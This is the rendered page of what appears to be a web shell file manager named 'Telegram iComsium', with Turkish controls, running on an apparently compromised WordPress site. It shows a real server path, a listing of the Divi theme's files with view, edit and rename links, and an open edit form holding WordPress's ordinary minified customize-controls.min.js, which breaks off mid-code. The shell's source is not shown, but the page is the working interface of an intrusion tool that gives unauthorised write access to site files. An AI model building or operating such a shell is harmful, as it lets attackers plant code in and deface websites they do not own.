<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: customize-controls.min.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*! This file is auto-generated */
!function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;),r=o.matches;o.addEventListener(&quot;change&quot;,function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=&quot; notification-overlay&quot;,n.loading&amp;&amp;(n.containerClasses+=&quot; notification-loading&quot;)},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on(&quot;keydown&quot;,_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&amp;&amp;(e.stopPropagation(),t.dismissible)&amp;&amp;t.parent&amp;&amp;t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,&quot;constrainFocus&quot;),t._addedIncrement=0,t._addedOrder={},t.bind(&quot;add&quot;,function(e){t.trigger(&quot;change&quot;,e)}),t.bind(&quot;removed&quot;,function(e){t.trigger(&quot;change&quot;,e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t=&quot;string&quot;==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&amp;&amp;(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&amp;&amp;i.container.length&amp;&amp;(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&amp;&amp;_.isEqual(e,i.previousNotifications)||((n=i.container.children(&quot;ul&quot;).first()).length||(n=J(&quot;&lt;ul&gt;&lt;/ul&gt;&quot;),i.container.append(n)),n.find(&quot;&gt; [data-code]&quot;).remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&amp;&amp;_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,&quot;assertive&quot;),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&amp;&amp;o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&amp;&amp;(J(document.body).toggleClass(&quot;customize-loading&quot;,t),i.container.toggleClass(&quot;has-overlay-notifications&quot;,t),t?(i.previousActiveElement=document.activeElement,J(document).on(&quot;keydown&quot;,i.constrainFocus)):J(document).off(&quot;keydown&quot;,i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop(&quot;tabIndex&quot;,-1),((a=i.focusContainer.find(&quot;:focusable&quot;)).length?a.first():i.focusContainer).focus()):i.previousActiveElement&amp;&amp;(J(i.previousActiveElement).trigger(&quot;focus&quot;),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger(&quot;rendered&quot;)))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&amp;&amp;(0===(t=n.focusContainer.find(&quot;:focusable&quot;)).length&amp;&amp;(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&amp;&amp;!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&amp;&amp;e.shiftKey&amp;&amp;(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:&quot;refresh&quot;,dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;&quot;postMessage&quot;===(t=&quot;postMessage&quot;!==t||Y.state(&quot;previewerAlive&quot;).get()?t:&quot;refresh&quot;)?e.previewer.send(&quot;setting&quot;,[e.id,e()]):&quot;refresh&quot;===t&amp;&amp;e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&amp;&amp;i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind(&quot;change&quot;,function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind(&quot;ready&quot;,function(){Y.bind(&quot;add&quot;,function(e){e._dirty&amp;&amp;(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&amp;&amp;(t=Y._latestSettingRevisions[e.id],Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;n&amp;&amp;n.unsaved&amp;&amp;(_.isUndefined(t)||t&lt;=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state(&quot;processing&quot;).get())a.reject(&quot;already_processing&quot;);else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&amp;&amp;_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&amp;&amp;null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger(&quot;changeset-save&quot;,i,e),!e.force&amp;&amp;_.isEmpty(i)&amp;&amp;null===e.title&amp;&amp;null===e.date)a.resolve({});else{if(e.status)return a.reject({code:&quot;illegal_status_in_changeset_update&quot;}).promise();if(e.date&amp;&amp;e.autosave)return a.reject({code:&quot;illegal_autosave_with_date_gmt&quot;}).promise();Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()+1),a.always(function(){Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&amp;&amp;(t.customize_changeset_title=e.title),null!==e.date&amp;&amp;(t.customize_changeset_date=e.date),!1!==e.autosave&amp;&amp;(t.customize_changeset_autosave=&quot;true&quot;),Y.trigger(&quot;save-request-params&quot;,t),(e=wp.ajax.post(&quot;customize_save&quot;,t)).done(function(e){var 